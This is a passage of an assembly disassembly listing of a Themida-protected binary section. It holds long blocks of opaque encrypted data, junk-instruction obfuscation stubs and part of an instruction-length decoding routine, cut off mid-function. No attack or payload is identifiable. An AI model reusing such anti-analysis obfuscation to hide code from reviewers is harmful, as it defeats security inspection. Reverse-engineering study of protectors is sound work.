		dd 64E905ECh, 68FFFAC2h, 5ECC6C4h, 0FAC25AE9h, 0C8A568FFh
		dd 50E905ECh, 68FFFAC2h, 5ECC993h, 0FAC246E9h, 43D60EFFh
		dd 8C9D5DADh, 0DA3FA6F6h, 250CF444h, 6DBC3F8Fh,	3255BED7h
		dd 7ACA60C9h, 0C717AD84h, 1161F73Ah, 0D8AD43EEh, 91EED2BFh
		dd 90765A7Eh, 0AE39C60Bh, 0BCA08D53h, 445491D3h, 2BC31076h
		dd 699678C5h, 1F4832C8h, 0AA09F6ADh, 2A5176E0h,	6E4E0F5Ch
		dd 95A78E0h, 4257F503h,	78E07155h, 0F32BF95Ah, 9BF5610Bh
		dd 324240h, 2CED0000h, 0EDDA91FBh, 5176FC26h, 0BB9F8CA1h
		dd 435A78FBh, 0FB533724h, 0DDB5A78h, 93616FA7h,	0FBA58546h
		dd 3A405A78h, 0D40FB9ACh, 0D4F0409Bh, 9B000000h, 0ABF839C6h
		dd 0A5A932C9h, 0F8CA5909h, 7355A208h, 7658A58Ch, 0E312A889h
		dd 5491E754h, 0F288A956h, 0E0865DA2h, 2B59942Bh, 505E157Bh
		dd 69C838AFh, 3922CB03h, 0AF533724h, 0DDB5492h,	4491885Dh
		dd 0A5CE74ACh, 0A48F7C33h, 0A75177B3h, 94CC6599h, 3822B886h
		dd 0F9E69D0Fh, 576048ACh, 99A75E2Ch, 0B6638265h, 0BB6B0350h
		dd 0A3B6EE43h, 21417C8Eh, 985CB35h, 0F336C5D1h,	4F1065Dh
		dd 60634620h, 3623DAA8h, 60634552h, 0C8D40CDAh,	30D2F633h
		dd 78DF04C1h, 0AE6F79Bh, 9D470000h, 6496E67Ch, 6DF2FC5h
		dd 0D32D7D13h, 8378C85Eh, 8EF710A6h, 399906Bh, 50E64BB3h
		dd 9A300100h, 0E67CB54Ah, 270BF811h, 0AF5A7E93h, 35C644C9h
		dd 0F10E5EF4h, 2C55AA40h, 0EDDA91FBh, 5176FC26h, 401F8AA6h
		dd 0DA27F2F3h, 2B38E42h, 0F5DE2B91h, 0CADD3AE3h, 0E71F863Dh
		dd 79451CFCh, 5BB1B75Ah, 9B8D8630h, 0E96740h, 0BF120000h
		dd 4C9350B1h, 0E94040AEh, 37CF1C82h, 250CF3FFh,	2405F6D8h
		dd 0ECD9EED7h, 5491F208h, 9F8AC290h, 5491F610h,	13F6ED12h
		dd 1613E77Fh, 8CD1FF62h, 91F9BB9Fh, 0F754354h, 1CE4F2A9h
		dd 0F830C815h, 9A49B606h, 2C39E045h, 11C82EABh,	302B0FFCh
		dd 0E5B35492h, 5F8804ADh, 5E4936EDh, 66517733h,	0EF180298h
		dd 0A3B1C67Dh, 0F28AD742h, 79337F63h, 139075Ah,	33CBD9EEh
		dd 7DDBC6FEh, 0F8575FC3h, 2BD017EAh, 0B319B1FEh, 0E89F6D7Bh
		dd 720821DAh, 2C50D922h, 0DF0521E0h, 0D907AB88h, 54000009h
		dd 0A3F38990h, 0EC3CD257h, 3A8A20F9h, 85D56BC6h, 41DB376h
		dd 0A683789Bh, 0F33EC010h, 3DF40D5Dh, 89A857A7h, 18051EF3h
		dd 5A7E9434h, 0C651D6BCh, 283DF435h, 91D3573Bh,	1504E154h
		dd 0B07E30C8h, 0C9368678h, 0C67DD268h, 0D6BAA739h, 5E5491D3h
		dd 65732A90h, 0B25B9396h, 0E940BBC9h, 0C0CC049Ch, 725CF23Fh
		dd 3320D741h, 5176F8D8h, 0C638465Bh, 0FEF8DC6Bh, 0B2805A78h
		dd 519E6C7Ah, 78FEB190h, 0B0464C5Ah, 9BD31BC5h,	636FC40h
		dd 2CA70000h, 0EDDA91FBh, 5176D382h, 0AE6FBC8Ah, 5A78D5CEh
		dd 0B7956369h, 2ADA57A9h, 3D255DD4h, 409BFA93h,	60F74h
		dd 860B1D00h, 5705762Ah, 38771AF9h, 64716684h, 0FB2C1B2Ch
		dd 0D6EDDA91h, 0D65176FCh, 1AFABB08h, 0B55A7904h, 6C834E60h
		dd 10C27873h, 5EF643EEh, 8CEC44F8h, 0F5D6D7A0h,	78E3F9BDh
		dd 409BD9CEh, 0DE4EFC0Eh, 3708153Eh, 7EB67387h,	5BF0Ch
		dd 1C57B700h, 0E49B0D36h, 0E9CDBACFh, 715491D3h, 3D806BA3h
		dd 0C05176E2h, 8CE0F8AEh, 0A0D824FAh, 0A9807A92h, 1F2DD643h
		dd 2C174FE2h, 0DE6CCDB5h, 0CB82EA1Dh, 73D897DEh, 0FC4917E3h
		dd 35FC0513h, 0BC2C57FDh, 0F0621805h, 14E2E95Ah, 81B04F5Dh
		dd 83649BEBh, 0D068B57Ch, 0F4D0466Ah, 0BB984D0Ah, 86F17h
		dd 0F326BE00h, 3CED0D5Dh, 8A8F56A6h, 0D55CA4F4h, 1D0CEF3Fh
		dd 0E2056E87h, 2A7A1019h, 77C75DD4h, 0C111A78Ah, 885DF33Eh
		dd 949E826Fh, 40265A7Eh, 0F839C6BBh, 94042FABh,	6F77F0DDh
		dd 6C7A517Dh, 0B8509D94h, 0EA47280h, 7E922FDFh,	2357FB5Ah
		dd 0D5BF55DCh, 6F843BBDh, 5660A25Dh, 19D488A9h,	18033B69h
		dd 5A7E723Ch, 0C7A9F6C4h, 3463F938h, 5A7E7264h,	5F161BE6h
		dd 3481B051h, 1C82AF52h, 5DA2F2E4h, 0E6C687D4h,	68B15AC2h
		dd 6A4C9998h, 0AB509D94h, 49B88F5Dh, 913F82E8h,	0E3D0E57Bh
		dd 5A7E62FFh, 7581B987h, 0C111A78Ah, 0E5A6F33Eh, 5A7E5305h
		dd 0D16076C4h, 5B6D032Eh, 134h,	0DD4CAEBCh, 3377AA90h
		dd 29DA2B07h, 3B1F0CC3h, 0C35A7E01h, 0C6ACBDF5h, 0C2ABF839h
		dd 0ADE54CB4h, 84D160A1h, 91D3DFC3h, 0AD546254h, 0BF404C84h
		dd 0A57D228h, 0F039C272h, 58A50BA3h, 8A41ABDCh,	7D6F249Dh
		dd 3A5E2C51h, 0E4E975E6h, 5D2DD1AEh, 0D0000007h, 1F6F0514h
		dd 68B84EDBh, 0B6069C7Dh, 151E74Ah, 80992FFAh, 2207F417h
		dd 6FC23C8Ch, 0B97889D9h, 52CD323h, 94819A6Fh, 5A7E96B0h
		dd 0C6CD5238h, 2F41F839h, 0B22A0C5Ah, 1D984292h, 75506BAh
		dd 0B4963F77h, 0FC4CE247h, 46962C05h, 0CB1527B9h, 3F24BBF7h
		dd 9BB39726h, 6D3B5492h, 0DA217107h, 0DB20024Fh, 34C14000h
		dd 258BA849h, 0C61404D8h, 92538C6Fh, 3CA23A87h,	0A6837785h
		dd 9789C159h, 7CA3C16Bh, 7A245h, 44D0000h, 95h,	0F839C667h
		dd 93B92F41h, 0E5702D4Dh, 33CB1819h, 2BEC95CDh,	54924A4Bh
		dd 172EBC0Ah, 63B349E8h, 8546939Eh, 54926AA6h, 639CAA83h
		dd 39E981CEh, 6F336BC6h, 0AC37CA99h, 9D6127A9h,	4F89E094h
		dd 4FB56481h, 0EAFC53E9h, 89974CE7h, 8293CBF2h,	0A9F63BC6h
		dd 0AAF73AC7h, 778997D6h, 0D3987C69h, 52205491h, 0CF079FECh
		dd 9B66FD0Bh, 0BECDDF96h, 0BF454E2Ah, 2E5D4F87h, 54922358h
		dd 0A8ED9824h, 0ACD0457Ch, 7BFFFFFEh, 0E150B1BFh, 0F6C4FC94h
		dd 324h, 0F839C659h, 0D41AEAABh, 84E05491h, 1120DF76h
		dd 0E916247Bh, 7FA88FFAh, 0C62C172Eh, 0B47D828Eh, 0B3D6A667h
		dd 0A7585492h, 0B3684C39h, 22F05492h, 78866FBCh, 0C86EA683h
		dd 0BEFDC9Fh, 955492B4h, 4311C366h, 0C03926DDh,	0C8517E4Eh
		dd 71D8BCA9h, 92605A7Fh, 9622082Ch, 0A986E4E8h,	5D705h
		dd 8B8E5600h, 0D455A5F5h, 22F7EE3Eh, 6DC43C8Ch,	0B57487D7h
		dd 7A9D061Fh, 0C212A881h, 0F5FF53Ch, 59A93FF2h,	20F58BA6h
		dd 98361A07h, 0D8BE5A7Eh, 0F839C653h
		dd 0F732C9ABh, 43EE1161h, 8B9E5DADh, 0F435C6D4h, 2ED70FA7h
		dd 2D7AAF4Ch, 0C4936959h, 55CF237h, 0EF270AF7h,	7CF85D07h
		dd 2623E45h, 2CE90000h,	5C4592E4h, 0D3765A47h, 0E6FE5491h
		dd 31C9161Bh, 2EA893CBh, 51AA7F2Eh, 20CABD4Bh, 1BB9207h
		dd 23Ch, 95AABFACh, 91D3C4A8h, 0EF7E4C54h, 5491D40Bh, 16C86995h
		dd 266A1048h, 482C19D0h, 0D05491D3h, 7AF4B502h,	9DAA7F2Eh
		dd 6C164197h, 4DBB9207h, 208h, 2BADBFF8h, 89E7DB2Fh, 0C307ADE5h
		dd 93A1B66Dh, 0AC6D7867h, 2961F946h, 9251663Eh,	0DFCCE154h
		dd 549251FBh, 6F7DB583h, 26D8EAA1h, 0B03D63Dh, 4AC4BAF3h
		dd 3399C4BBh, 65B27783h, 2BEC95CDh, 0AA7F60B1h,	4D38CED4h
		dd 0BB93C9A3h, 0BC2BD5E3h, 59DEA3Fh, 82BA529Fh,	1AB10h
		dd 0E42CBB00h, 12EEDB92h, 9A5491D4h, 81967FCCh,	91D3B094h
		dd 326A3854h, 7F2DCD47h, 1CEAF0AAh, 62CF303Eh, 798422Ah
		dd 7D79BB92h, 24000001h, 0ABF839C6h, 65FB36C9h,	1811FC0Eh
		dd 14AD36E5h, 9B0D36DCh, 3BBDCFE4h, 8DF3CBF9h, 4FAE99D1h
		dd 0CF51775Ah, 6A8E9EB0h, 797E5B7Eh, 795D06EAh,	10C08E5Ah
		dd 5EF643EEh, 0D92F41F8h, 0A6BCADDAh, 2086AB54h, 9E7E3FE8h
		dd 395A7924h, 7987A533h, 7A60AD6Ch, 93B3DDC3h, 134BB17Fh
		dd 9B70812Bh, 2C6240h, 2C0D0000h, 0EDDA91FBh, 5176FC26h
		dd 0CA8BD8A6h, 5A78FBEAh, 53A0796Ch, 529F8A71h,	0D4D92FDDh
		dd 0B6A1373Dh, 409BD40Ch, 0B9EDh, 39C69800h, 32C9ABF8h
		dd 37C8AAF7h, 5A914AB0h, 96682AE2h, 519E046Ah, 0BA1906Fh
		dd 92394DDCh, 1C364854h, 9B47F015h, 0BE414D85h,	0C0F3DD73h
		dd 7E8CA158h, 0CC64B180h, 0CDC9A994h, 7B495178h, 0E445B6C4h
		dd 30C81B2Dh, 19BB3BBCh, 5C9FEFE1h, 0E78BA9CDh,	0DDE4EBh
		dd 3A35Ch, 0BF5A8A00h, 821D929h, 56C32272h, 0A19070C0h
		dd 0E940BB0Bh, 0AED13A53h, 0F646DC4Dh, 43932908h, 8DDD73BEh
		dd 5429BF72h, 996A4E3Bh, 0CF25A7Eh, 0F435C687h,	49B72B3Dh
		dd 581B7A47h, 0BFD0B4A1h, 8A585492h, 0EF106052h, 7E7D8B42h
		dd 837C5EABh, 63C961AEh, 7C4A88AFh, 0CE06E0C4h,	0ADBF87DCh
		dd 0ADB672C6h, 959C6566h, 124AB048h, 8138F906h,	6EA68B73h
		dd 151CE3C5h, 6471507Fh, 2E595492h, 0F31A07BEh,	7351778Fh
		dd 0AAB80FA5h, 92A3DB56h, 41F839C6h, 0D35B3F2Ch, 0C4E35491h
		dd 91D3F3D7h, 47AD7B54h, 7B84660Fh, 509D946Ch, 0D2BC52B8h
		dd 6B8037A1h, 91D39A7Eh, 1C542254h, 48E2F409h, 0EE543CEBh
		dd 0EC543825h, 0EDC5491h, 268570A8h, 0A15176F9h, 0F8BB9F8Ch
		dd 75435A78h, 0DAC72AC1h, 6FA736A5h, 85469361h,	5A7994A5h
		dd 1DDDEB40h, 0FA10D40Ch, 9B39E58Fh, 23102540h,	5A799D3Fh
		dd 4FC1F9C7h, 52h, 91FB2CFAh, 0B02FCCDAh, 4179DF4Ah, 0FB7A412Eh
		dd 0E0F55176h, 78FC0FF3h, 91C9975Ah, 0A768B583h, 5A78FBC7h
		dd 0AB2CB749h, 790A5B32h, 0AC95E248h, 7961DBBFh, 0E595635Ah
		dd 57CC1900h, 0B74E53A9h, 83A65462h, 671874Bh, 409B725Ch
		dd 0D13Dh, 39C6E800h, 32C9ABF8h, 0AFC1AAF7h, 0C2F65C06h
		dd 0E445B6A9h, 0C53A467Eh, 754DD22h, 0DABC096Fh, 0EACEBB25h
		dd 72549231h, 51A83EA4h, 3B73BE43h, 9235C150h, 0F53CC354h
		dd 41F00F5Fh, 0DD4F78F4h, 26463926h, 37495177h,	18ED3E19h
		dd 0F4023AD1h, 7DA69026h, 167540Bh, 1575F8Eh, 0AF11F5E2h
		dd 0CB996062h, 8B99AE65h, 0A889755Ah, 255DF542h, 0BDF9E219h
		dd 95DE5162h, 0B00096FCh, 84BADE4Bh, 4CDF05D1h,	1C2CB6Fh
		dd 796B0000h, 40BA0AA0h, 0E20353E9h, 0AF51A137h, 5F9CEC82h
		dd 0B21B34CAh, 27BD6C8Fh, 740A27D7h, 0BE54DD24h, 0AA0916Eh
		dd 4B2F1C35h, 0D35A7E9Bh, 35C668EDh, 0D3D2B6A3h, 8C5A5491h
		dd 0FFAA0FD8h, 68CEC68Ch, 0B47D82D2h, 0FB2CC91Eh, 26EDDA91h
		dd 0A65176FCh, 0EACA8BD8h, 6C5A78FBh, 6E509D94h, 9D4F9C8Dh
		dd 770E9369h, 46F09B71h, 27409BD4h, 0CAh, 0D0EBBED0h, 5396719Bh
		dd 34CBAF9Ch, 85535A79h, 0B1BF3C4Dh, 9CA8E049h,	9F81CE63h
		dd 0B178835Ch, 0AE3DFE4Bh, 0B05491D7h, 0FC4CE24Fh, 65E12E03h
		dd 2613CA32h, 5176C833h, 80D76D3Bh, 0F5A58C72h,	46EC2405h
		dd 7F4AB1Dh, 575F7EC2h,	61D02F3Dh, 63CE3214h, 0E0187E16h
		dd 3F4D04D2h, 80D76DBCh, 1CEA686Eh, 29D1BE39h, 0B51BB300h
		dd 9F8A717Dh, 5EACD7Bh,	963A17DFh, 0D4h, 0F88E8B59h, 41D752A8h
		dd 8F25F4F1h, 0DA70C13Fh, 22B8718Ah, 7E7DA009h,	39C515ABh
		dd 0EF1262F8h, 0A35CAC42h, 0A23F88Eh, 7E9D391Dh, 56DBC15Ah
		dd 0E34EB1BFh, 0BAC6FE96h, 2331E841h, 6E0653DEh, 0A5CED1BAh
		dd 639B5BB9h, 53DE2171h, 39C668BDh, 36C9ABF8h, 9D3244FBh
		dd 0F89D71BAh, 0AB9587BFh, 0FA1FC678h, 7BF0DD94h, 7B517D7Eh
		dd 817E60ADh, 13EBF9B0h, 139D11Eh, 0F140BF0Fh, 60B92C3Ah
		dd 64CD3113h, 0E1197F17h, 4FD27738h, 50845B25h,	0DD54ABBAh
		dd 0E1DEF047h, 0C7629908h, 0CF8CE13h, 0FA37C8D4h, 0FC35CBADh
		dd 0F4293345h, 6EF86CDDh, 9AE88D36h, 1EE0EE4Ch,	30CFDB13h
		dd 0E41B6B01h, 0D5C004Dh, 0BD000000h, 2FDF52AFh, 79115ECBh
		dd 13583041h, 0AEFB1EC6h, 0B1FE33CCh, 0B2FF32CFh, 0B6032ED0h
		dd 0B50227D4h, 0B40128D3h, 0B6032ED2h, 0BB0811D4h, 0BB0821D9h
		dd 0E089506Fh, 405h, 4E88300h, 8B240487h, 65682424h, 89000007h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edi, 0C97197Ch
		not	edi
		push	eax
		mov	eax, 4F387620h
		or	edi, eax
		pop	eax
		add	edi, 673C7A5h
		push	5DC5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		xor	dword ptr [esp], 1A7E4C78h
		pop	dword ptr [edx+8]
		xor	dword ptr [edx+8], 1A7E4C78h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		dw 7321h
		dd 0B8C52B01h, 5ECCA8Ch, 0E0FFC503h, 224FD802h,	2C3D54ABh
		dd 32C60852h, 3A8A638Ch, 0CBBD8D8Dh, 6A05ECh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 880F4BC3h
		dd 5, 4493CBBFh, 0A98D8933h, 6A05E71Ah,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 897EC352h
		dd 85C73865h, 5E72A4Dh,	6F40h, 96DBD89h, 85C705E7h, 5E72739h
		dd 0
		dd 3499531h, 0B5FF05E7h, 5E70595h, 23BDB58Bh, 95FF05E7h
		dd 5E71795h, 6A70C380h,	0C195FF00h, 8B05E721h, 0F84FEBC0h
		dd 1150FE88h, 548BE7C0h, 6ECAB287h, 6DED502Ah, 6C6BBB77h
		dd 0EB45899Eh, 1B86A754h, 0AF65460Eh, 0C088CAFCh, 4B66F8F4h
		dd 0F6D38DFDh, 9C1B5C34h, 7BCBA55Bh, 0EAC245B6h, 5BDC0282h
		dd 47D953E5h, 18269C98h, 0DEFC0303h, 0CDAA54B0h, 8E8F9E3h
		dd 0FF000000h, 849B6E3Dh, 8BDBA4A0h, 0E719E995h, 9D895F05h
		dd 5E7199Dh, 7335C781h,	8D8B0000h, 5E70AB1h, 0BEh, 7FE68000h
		dd 5B3E34FFh, 81C6B70Fh, 9B9A59F3h, 5E960h, 0CE9D0000h
		dd 814FD2DEh, 9FE5AC3h,	2D858B3Fh, 8105E706h, 0F8F9FEEBh
		dd 66D9817Fh, 53267138h, 0CE7ABA66h, 0B937048Fh, 44A2712Eh
		dd 83CA8B66h, 0B96604EEh, 0FE81A06Dh, 0FFFF8D48h, 0FFAE850Fh
		dd 0B529FFFFh, 5E72B15h, 0CD2E04EBh, 0FDE96AF4h, 68000004h
		dd 0B7079D7Ch, 50E643h,	4E9E34E5h, 99E97FB2h, 1831C762h
		dd 0BA6F8CAFh, 72AD424h, 51E02171h, 9D946BBBh, 2C193207h
		dd 5A7E9F48h, 0C665EAD0h, 2C41F839h, 91D35B3Fh,	0DD15E354h
		dd 80A95234h, 0CC659AEAh, 35F40715h, 6F1850E8h,	72BF728Dh
		dd 72BF6A90h, 77C45590h, 9C80E891h, 0BE6EC06Ch,	0FDA2EF42h
		dd 170659AFh, 0AE17E757h, 1B4FCF35h, 0A88976CDh, 1118E3F1h
		dd 131EE2C4h, 338375ADh, 7DCD63CEh, 7E60AD84h, 8264B180h
		dd 8264B178h, 0C469B663h, 0A81B6076h, 99AE8C5Ah, 922CC8ACh
		dd 4A825054h, 0D86EC33Eh, 7C697788h, 54922C98h,	9FEC5220h
		dd 0D859A8B6h, 2CD6B5A0h, 3D9F5492h, 0A512BCAFh, 63F3457Ch
		dd 9E000000h, 0ABF839C6h, 91D40CEAh, 0BE738E54h, 6E728F71h
		dd 91D39D81h, 0F1572554h, 28BEF2A4h, 4298FA63h,	7CFC6D17h
		dd 14E45h, 0C6F90000h, 0A6E4A734h, 0D3C2F198h, 57A8B66Dh
		dd 0BDF58DDAh, 10C83214h, 92093F23h, 93F9C754h,	959C6446h
		dd 94629648h, 35EC3DBDh, 292D5523h, 134BC409h, 32ED121h
		dd 35C6186Dh, 35C5A7F4h, 3CC5A7F4h, 38C6A8F5h, 69C6ACF9h
		dd 946E1D1Eh, 5DABF96Ch, 0EB38F906h, 5B4BED53h,	0E445B68Dh
		dd 3001FE4Eh, 35E401E3h, 0BCCA1FE8h, 69EEB3Eh, 5EFC0ACEh
		dd 0C95F354Ch, 97475705h, 0A68EC663h, 457C5AECh, 82EDh
		dd 35C69800h, 0C76A95A3h, 91D35438h, 0A80EDC54h, 0CB1CE3F1h
		dd 4B98FE33h, 0F0D27BB3h, 2E6D3F5h, 8A5491D4h, 570956BCh
		dd 7D7ED523h, 35C616ACh, 26DA57AAh, 0C4E89B14h,	53A0062Fh
		dd 8DA45C6Ah, 92875E40h, 0F47AD45h, 0E734FD03h,	97C2181Eh
		dd 457C22FDh, 60DEh, 35C68900h,	0D22F3DF4h, 9C7E275Fh
		dd 0AA8E7B65h, 325491D3h, 0CFB1FE64h, 0CEB0FD2Ch, 3FB40130h
		dd 0F3367B91h, 5BA0B745h, 0BFE338CEh, 348440ADh, 0DC14C836h
		dd 48FF2AD0h, 12624633h, 1CEA5492h, 9B7A3BE4h, 64549212h
		dd 0D781F402h, 17457CC3h, 34874005h, 0D585AB47h, 5DCF072Ah
		dd 1, 0FA1FC608h, 0FD34CBADh, 6AC73846h, 0A44D851Dh, 0C5BB1FFh
		dd 53AA40D9h, 583C293Eh, 0E05491D3h, 0D39F8312h, 59275491h
		dd 0E0487B21h, 0FC693C29h, 23F15176h, 260BF4D6h, 28BF4090h
		dd 720A57D2h, 2B40550Ch, 79025A3Eh, 8514E25Ah, 5A7902A1h
		dd 7A235B29h, 7902DBB9h, 0CE1CCA5Ah, 13A98877h,	0A8F53CC3h
		dd 51AE39C6h, 7BC86996h, 0CA177DE3h, 61F006F6h,	0D1FD939Eh
		dd 409BD327h, 11908h, 0FB2CB300h, 3926BA47h, 5491D355h
		dd 43A90FDDh, 0F9389F8Ch, 25335176h, 122058D9h,	0FC0EF744h
		dd 2EB72AC3h, 37B037EBh, 0B14E5A92h, 8193EA80h,	35D29222h
		dd 0D3DF17D5h, 0CFB8052Ch, 0A6F33EC1h, 90F63BC4h, 7EB34C58h
		dd 91E5D31h, 78F6381Ch,	0BAF2C05Ah, 0AE51E0F6h,	17C1ED83h
		dd 0F8409BDEh, 40h, 0C66B93A1h,	98A9E179h, 0DB92E42Ch
		dd 91D3DAEEh, 0D6C3E254h, 5491D4F2h, 0E9FCAC7Ah, 0E54BE330h
		dd 44A1AF98h, 0CEB29DD5h, 9C5491D4h, 0C901AA40h, 0AFC3B067h
		dd 0B75491D4h, 774153E9h, 0A4000000h, 0DA91FB2Ch, 76DB96EDh
		dd 91481651h, 3F1B4F7Fh, 0AFE762E5h, 56DB2406h,	0A28F70C0h
		dd 0E23DDEBh, 36442DD6h, 7F1764C5h, 68F35C47h, 0BC6A5A79h
		dd 49E8172Eh, 0B56B7D92h, 4288498Dh, 88573BCAh,	11DF5A79h
		dd 0CAFDE7D9h, 77BEAB62h, 0F75764D5h, 5FADC29h,	0EC3ADF2Ch
		dd 0C17AAD1Eh, 6655F0D4h, 44AA7860h, 916A788Dh,	177DAC4Eh
		dd 0A2ADF4DFh, 5F2D5D51h, 0FB2C74C9h, 0B7C5DA91h, 69EEB2Eh
		dd 209CE3CEh, 4E1C517Dh, 0F60A1801h, 0D7240DF1h, 95A1D93Fh
		dd 210C76Ah, 1E330F9h, 4CE43100h, 6CBCAEE6h, 90519E93h
		dd 41769CF6h, 57EEFC30h, 0C0D289A8h, 76388344h,	2A1C547Eh
		dd 0BF0C25DAh, 0C10E23DDh, 0C00D1CDFh, 0C20F22DEh, 0C10E1BE0h
		dd 6775A929h, 8359A71Ah, 2FE64BB4h, 1951E021h, 0B828D727h
		dd 965CE7CBh, 3BA16FC9h, 0C4AEEh, 58AD0000h, 3012FF11h
		dd 601362E2h, 1EC61728h, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh
		dd 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h
		db 8, 0BBh, 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	11FAh
		mov	[esp], edi
		push	5ECCCA2h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		add	ebx, edi
		push	ecx
		mov	ecx, eax
		mov	[ebx], ecx
		pop	ecx
		pop	ebx
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		dd 0DC562DD5h, 0ECD11EB8h, 0FFC50305h, 0A7A55FE0h, 0B215E34Ah
		dd 1BD1D379h, 0E29E4C63h, 0A68F1229h, 0ED002F79h, 0F94F204h
		dd 94854A31h, 4847905Dh, 21BC5552h, 2BEBF341h, 0D2794B36h
		dd 5BF2C805h, 3803923Ch, 1C8E96Ah, 88880000h, 7	dup(88880041h)
		dd 41h,	3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 5ECD3B8h, 585C760h
		dd 5ECD3h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 5ECD309h
		dd 6, 24E9h, 0D858D00h,	5005ECD3h, 0D35D858Dh, 565005ECh
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	0ECD30985h
		dd 0B5036105h, 5ECD309h, 0D305858Bh, 0C35D05ECh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59BFE9
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_59BFF5
; ---------------------------------------------------------------------------

loc_59BFE9:				; CODE XREF: Themida_:0059BFD2j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_59BFF5:				; CODE XREF: Themida_:0059BFE4j
		push	ebx
		push	esi
		push	edi

loc_59BFF8:				; CODE XREF: Themida_:0059C04Dj
					; Themida_:0059C069j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_59C00B:				; CODE XREF: Themida_:0059C032j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5ECD46Fh
		lea	ebp, [ebp+5ECD2E5h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59C038
		inc	cl
		cmp	cl, 0Bh
		jb	loc_59C00B

loc_59C038:				; CODE XREF: Themida_:0059C027j
		cmp	cl, 0Bh
		jz	loc_59C095
		cmp	al, 66h
		jnz	loc_59C076
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59BFF8
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_59C06E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59BFF8
; ---------------------------------------------------------------------------

loc_59C06E:				; CODE XREF: Themida_:0059C05Bj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_59C076:				; CODE XREF: Themida_:0059C043j
		cmp	al, 67h
		jnz	loc_59BFF8
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59BFF8
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59BFF8
; ---------------------------------------------------------------------------

loc_59C095:				; CODE XREF: Themida_:0059C03Bj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59C0C1
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_59C0C6
; ---------------------------------------------------------------------------

loc_59C0C1:				; CODE XREF: Themida_:0059C0A0j
		movzx	edi, al
		shr	edi, 1

loc_59C0C6:				; CODE XREF: Themida_:0059C0BCj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5ECD527h
		lea	ebp, [ebp+5ECD1E5h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59C248
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
